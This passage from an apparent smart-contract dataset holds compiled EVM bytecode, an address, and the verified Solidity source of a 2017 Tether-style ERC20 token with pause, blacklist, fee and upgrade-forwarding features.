ffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a3057600080fd5b610a8282600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610be982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6301406f4081565b601281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4157600080fd5b600060149054906101000a900460ff161515610d5c57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b610dae3382611908565b50565b600060149054906101000a900460ff1681565b600080600060149054906101000a900460ff16151515610de357600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610ef2576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f86565b610f0583826118c690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561114657600080fd5b6111d581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c690919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061125f8282611908565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112be57600080fd5b600060149054906101000a900460ff161515156112da57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f484243000000000000000000000000000000000000000000000000000000000081525081565b60008060149054906101000a900460ff1615151561139e57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113ec57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561142857600080fd5b61147a82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061150f82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060149054906101000a900460ff161515156115de57600080fd5b61166d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ba57600080fd5b6118c381611abe565b50565b6000808383111515156118d857600080fd5b82840390508091505092915050565b60008082840190508381101515156118fe57600080fd5b8091505092915050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561195657600080fd5b6119a881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a00816003546118c690919063ffffffff16565b6003819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611afa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820769b3b6ffbc4097634f0ed208243ba2e9b33e3f8ec2ae3799a9c81cf00c9c7640029
{"success": true, "error": null, "results": {}}
1,268
0xb0e2de0e69a23e88fa3d5d2f0771d87feae716ec
/** *Submitted for verification at Etherscan.io on 2017-11-28 */ pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public constant returns (uint); function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(msg.sender, owner, fee); } Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(_from, owner, fee); } Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } function getOwner() external constant returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract TetherToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function TetherToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; Redeem(amount); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c1461022b578063095ea7b31461026e5780630e136b19146102bb5780630ecb93c0146102ea57806318160ddd1461032d57806323b872dd1461035857806326976e3f146103c557806327e235e31461041c578063313ce56714610473578063353907141461049e5780633eaaf86b146104c95780633f4ba83a146104f457806359bf1abe1461050b5780635c658165146105665780635c975abb146105dd57806370a082311461060c5780638456cb5914610663578063893d20e81461067a5780638da5cb5b146106d157806395d89b4114610728578063a9059cbb146107b8578063c0324c7714610805578063cc872b661461083c578063db006a7514610869578063dd62ed3e14610896578063dd644f721461090d578063e47d606014610938578063e4997dc514610993578063e5b5019a146109d6578063f2fde38b14610a01578063f3bdc22814610a44575b600080fd5b3480156101a757600080fd5b506101b0610a87565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f05780820151818401526020810190506101d5565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023757600080fd5b5061026c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b25565b005b34801561027a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c42565b005b3480156102c757600080fd5b506102d0610d95565b604051808215151515815260200191505060405180910390f35b3480156102f657600080fd5b5061032b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b005b34801561033957600080fd5b50610342610ec1565b6040518082815260200191505060405180910390f35b34801561036457600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa9565b005b3480156103d157600080fd5b506103da61118e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b4565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b506104886111cc565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b36111d2565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b506104de6111d8565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b506105096111de565b005b34801561051757600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129c565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f2565b6040518082815260200191505060405180910390f35b3480156105e957600080fd5b506105f2611317565b604051808215151515815260200191505060405180910390f35b34801561061857600080fd5b5061064d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132a565b6040518082815260200191505060405180910390f35b34801561066f57600080fd5b50610678611451565b005b34801561068657600080fd5b5061068f611511565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106dd57600080fd5b506106e661153a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073457600080fd5b5061073d61155f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077d578082015181840152602081019050610762565b50505050905090810190601f1680156107aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c457600080fd5b50610803600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115fd565b005b34801561081157600080fd5b5061083a60048036038101908080359060200190929190803590602001909291905050506117ac565b005b34801561084857600080fd5b5061086760048036038101908080359060200190929190505050611891565b005b34801561087557600080fd5b5061089460048036038101908080359060200190929190505050611a88565b005b3480156108a257600080fd5b506108f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1b565b6040518082815260200191505060405180910390f35b34801561091957600080fd5b50610922611d78565b6040518082815260200191505060405180910390f35b34801561094457600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7e565b604051808215151515815260200191505060405180910390f35b34801561099f57600080fd5b506109d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d9e565b005b3480156109e257600080fd5b506109eb611eb7565b6040518082815260200191505060405180910390f35b348015610a0d57600080fd5b50610a42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b005b348015610a5057600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb0565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8057600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610c5a57600080fd5b600a60149054906101000a900460ff1615610d8557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d6857600080fd5b505af1158015610d7c573d6000803e3d6000fd5b50505050610d90565b610d8f8383612134565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0357600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610fa057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f5e57600080fd5b505af1158015610f72573d6000803e3d6000fd5b505050506040513d6020811015610f8857600080fd5b81019080805190602001909291905050509050610fa6565b60015490505b90565b600060149054906101000a900460ff16151515610fc557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561101e57600080fd5b600a60149054906101000a900460ff161561117d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b15801561116057600080fd5b505af1158015611174573d6000803e3d6000fd5b50505050611189565b6111888383836122d1565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123957600080fd5b600060149054906101000a900460ff16151561125457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561144057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b505050506040513d602081101561142857600080fd5b8101908080519060200190929190505050905061144c565b61144982612778565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ac57600080fd5b600060149054906101000a900460ff161515156114c857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115f55780601f106115ca576101008083540402835291602001916115f5565b820191906000526020600020905b8154815290600101906020018083116115d857829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561161957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561167257600080fd5b600a60149054906101000a900460ff161561179d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561178057600080fd5b505af1158015611794573d6000803e3d6000fd5b505050506117a8565b6117a782826127c1565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180757600080fd5b60148210151561181657600080fd5b60328110151561182557600080fd5b81600381905550611844600954600a0a82612b2990919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ec57600080fd5b600154816001540111151561190057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff